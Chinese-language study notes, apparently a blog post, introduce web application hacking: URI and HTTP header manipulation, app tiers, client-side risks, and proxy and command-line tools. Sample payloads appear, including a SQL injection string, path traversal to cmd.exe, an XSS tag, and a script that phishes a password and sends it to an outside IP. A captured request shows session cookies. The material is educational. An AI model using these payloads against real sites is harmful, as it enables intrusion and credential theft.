web安全-入侵基础
注:需先了解HTTP请求头的含义. 在:HTTP 协议详解 中
WEB应用:通过超文本传输协议HTTP访问的应用.
一、Web应用入侵
3种入侵方法:
a.通过图形化Web界面直接操纵应用.
b.篡改统一资源标识符(URI).
c.篡改没有包含在URI中的HTTP元素.
二、GUI Web入侵
即在web浏览页面中直接操作,如在用户名框中直接输入 :'OR 1=1--
三、URI 入侵
RFC3986描述了URI(及其子集,包括更常用的术语统一资源定位符(URL))的结构和语法. 其中URI 如下:
scheme://authority/path?query
URI描述用于访问服务器(authority)上的一个资源(path)或者应用(query)的协议(scheme).
注:标准HTTPS(无客户端验证)除了使客户端和服务器之间的通信更难以窃听和干扰以外,对web应用的整体安全性没有任何作用 (其会话数据受SSL或TLS协议保护.)
服务器:一台或者多台运行HTTP软件的计算机,(通常由其DNS名如www.somesite.com指定的计算机),web 应用协议基本上都是HTTP协议.
path: 描述了应用文件所在文件夹或者目录的层次结构.
查询: 包含了需要传递给服务器上保存的应用的可执行文件的参数.如:*.asp,*.aspx,*.php等等
"?" 右变得部分称为查询串.
eg: http://server/file.html
http://server/folder/application?parameter1=value1¶meter2=value2
http://www.webhackingexposed.com/secret/search.php?input=foo&user=joel
URI入侵的简单方式:
https://server/folder/../../../../cmd.exe
http://server/folder/application?parameter1=aaaaa...256 a's...]
http://server/foldrer/application?parameter1=<script>'alert'</script>
四、请求头入侵,方法,头和主体
请求头一般是不可见的,需借助工具才可查看.
大部分WEB应用只是用两种方法:
GET和POST,二者都向服务器发送信息,但两者有一个重要的不同点,GET将所有的数据保留在URI(也就是地址栏)中,而POST的请求的主体(body)中放置数据.(在URI中不可见)
POST请求并没有比GET请求方式更好的保护数据,但是GET在发送数据时更可能在各种地方暴露数据,如客户端缓存和web服务器日志
HTTP头中相关的安全事例:
Authorization:是否使用某种类型的验证.
Cache-control:是否将请求的一个副本缓存在中间代理服务器上.
Referer:列出浏览器到达当前链接的源URI,有时用于早期的容易攻破的验证方案.
cookies:常用于存储自定义应用验证/会话令牌.
eg:
GET /cgi-bin/test.cgi HTTP/1.1 Host: analy.qq.com Connection: keep-alive Accept: image/webp,image/*,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.99 Safari/537.36 Referer: http://user.qzone.qq.com/99999999/infocenter?ptsig=i0vr2AgUQxZUVtfJM61NgokUZzsuaBgR942HM0swpfo_ Accept-Encoding: gzip, deflate, sdch Accept-Language: zh-CN,zh;q=0.8 Cookie: luin=o1165121284; lskey=00010000cf24e125aeca588; ptui_loginuin=1165121284;
五、资源,入侵就是为了获取资源
web应用一般分为三层:
表示层:一般是超文本表示语言(HTML)生成的静态页面,或者由动态脚本生成。
逻辑层:负责前台业务和后台数据的交互.
数据层:诱人的数据,如客户数据,信用卡号码等(这才是最关心的)
文件类型:
*.html : as static HTML file
*.php : a HyperText Preprocessor, or PHP, script
*.asp : a Microsoft Active Server Pages, or ASP script
*.aspx : a Microsoft ASP.NET script
动态脚本可以作为逻辑层,接受输入参数和值.
http://server/script.php?input1=foo&fnput2=bar (&为两个变量的链接符)
http://server/script.aspx?date=friday&time=1754
以下可能是独立的可执行文件而不是脚本,
http://server/app?input1=foo&input2=bar
六、验证、会话和授权
HTTP是无状态的,协议本身不维护任何会话状态。
但是Web开发人员已经试图解决基本协议的这个问题,方法就是采用自己的验证、会话管理和授权功能,来实施某种形式的验证,然后将授权/会话信息隐藏在cookie中来实现.
七、Web客户端与HTML
根据对Web应用的定义,Web应用客户端是能够理解HTTP程序,规范化的Web应用客户端是Web浏览器,它的语言是HTTP(以及其他协议)并用超文本标签语言(HTML)以及其他标记语言表现
Web浏览器看上去似乎很简单。由于HTML等语言的扩展性,看似静态的Web内容中可以嵌入大量的功能.例:
1 2 3 4 5 6 | < html > < SCRIPT Language="Javascript"> var password = prompt('Your seesion has expired. Please enter your password to continue.',' '); location.href="https://10.1.1.1/pass.cgi?password="+password; </ SCRIPT > </ html > |
除脚本以外,ActiveX程序、远程映像“Web bugs”以及层叠样式单(css)文件都可以在客户端进行恶意的活动,使用的仅仅是简单的ASCII文本。
不断增加的客户端技术包括富互联网应用(Rich Internet Application,RIA)、用户生成内容(User-Generated Contents,UGC)、AJAX和移动设备“应用商城”,一场风暴正在兴起.(WEB安全!!!)
八、其他协议
a.Web分布式创作和版权管理(Web-based Distributed Authoring and Versioning,WebDAV)
WebDAV在RFC4918中定义,描述了用于远程Web服务器上的多种内容创作和管理机制.
b.基于XML的web服务中,简单对象访问协议(SOAP)是基于XML的用于web服务之间消息和RPC风格通信的协议.
c.以及JavaScript和XML(AJAX)和简易信息聚合(Relly Simple Syndication,RSS),RSS是一种基于XML的轻量级机制,用于在网站和客户端之间动态地反馈变化的“新闻提要”(RSS订阅.)
d.同源策略(Same-origin Policy),最初期是单个客户和单个网站之间的一种简单关系。现在更复杂.
九、为什么攻击Web应用
1.普遍存在:今天Web应用无处不在.
2.简单的技术:大部分基于文本,操作应用输入简单,和攻击复杂的操作系统简直不在一个量级.
3.匿名性:有很多免责区域(随着发展越来越少),并且大量的HTTP/S代理,使得请求难以追踪.
4.绕开防火墙:大部分典型的防火墙策略允许入站的HTTP/S.
5.定制代码:由于Web技术易于理解,门槛低,大部分Web应用由缺乏又经验的开发人员制作.
6.不成熟的安全性:HTTP甚至没有实施分离单独的会话,许多开发人员在自己编写HTTP的基本验证和授权信息并且会出错.
7.不断地变化:许多人不断地接触WEB应用,开发人员,系统管理员,内容管理者,普通用户,很少有人受过安全方面的培训,难保会执行相关的安全策略.
8.钱.
十、谁、何时、何处
谁,离校的无聊少年,有组织的犯罪。
何时何处?全天候,所有地方(甚至内部网络)
十一、工具
Web浏览器、浏览器扩展、HTTP代理和命令行工具.
1.Web浏览器:篡改浏览器地址栏中的URI文本。
2.浏览器扩展:IE扩展(TamperIE、IEWatch、IE Headers)。Firefox扩展(LiveHTTPHeaders、TamperData、Modify Headers、)
3.HTTP代理:HTTP代理能够分析和篡改非浏览器的HTTP客户端,这是浏览器扩展所做不到的。(IEToys)
Paros Proxy、OWASP WebScarab(包含了HTTP代理、爬虫、会话ID分析、自动化脚本接口、Fuzzer、用于所有流行Web个是【Base64、MD5等】的编码器/解码器工具,以及Web服务描述语言(WSDL)和SOAP解析程序等.)
ProxMon: 主要目的是自动化完成Web应用渗透测试中乏味的部分,减少工作量.
Fiddler : 自动配置IE使用它的本地代理,Localhost:8888。其他浏览器需手动配置.
Burp Intruder : 基于JAVA的HTTP代理。
Google Ratproxy :是为有经验的安全专家设计的,需要对Web应用安全问题有着充分的理解,能有效地使用它并且理解其输出.
4.命令行工具:
Ratproxy: 不建议通过Ratproxy使用Web爬虫或者相似工具,只限于手工测试.
cURL : 免费的多平台命令行工具,用于操纵HTTP和HTTPS.
netcat : “瑞士军刀”,将网络通信的原始输入输出转储到命令行.
5.较老的工具:
Achilles、#StakeWebProxy、Form Scallpel、WASAT(web验证分析工具)以及WebSleuth
一般来说,越现代的工具越好.
十二、参考与延伸阅读
RFC索引搜索引擎 | http://www.rfc-editor.org/rfcsearch.html |
HTTP1.0 | RFC1945 |
HTTP1.1 | RFC2616 |
HTTP“Origin”首部 | https://wiki.mozilla.org/Security/Origin |
HTML | http://en.wikipedia/wiki/HTML |
HTML5 | http://en.wikipedia/wiki/HTML5 |
统一资源标识符(URI) |
http://tools.ietf.org/html/rfc3986 http://en.wikipedia.org/wiki/Uniform_Resource_Identifier |
HTTPS | http://en.wikipedia.org/wiki/HTTPS |
SSL(安全套接字层) | http://wp.netscape.com/eng/ssl3 |
TLS(传输层安全) | http://www.ietf.org/rfc/rfc2246.txt |
可扩展性标记语言(XML) | http://www.w3.org/XML/ |
WSDL | http://www.w3.org/TR/wsdl |
UDDI | http://www.uddi.org |
SOAP | http://www.w3.org/TR/SOAP |
WebGL | http://en.wikipedia.org/wiki/WebGL |
Google Native Client(Naci) | http://en.wikipedia.org/wiki/Google_Native_Client |
OWASP Top10 http://www.owasp.org/documentation/topten.html
【推荐】还在用 ECharts 开发大屏?试试这款永久免费的开源 BI 工具!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步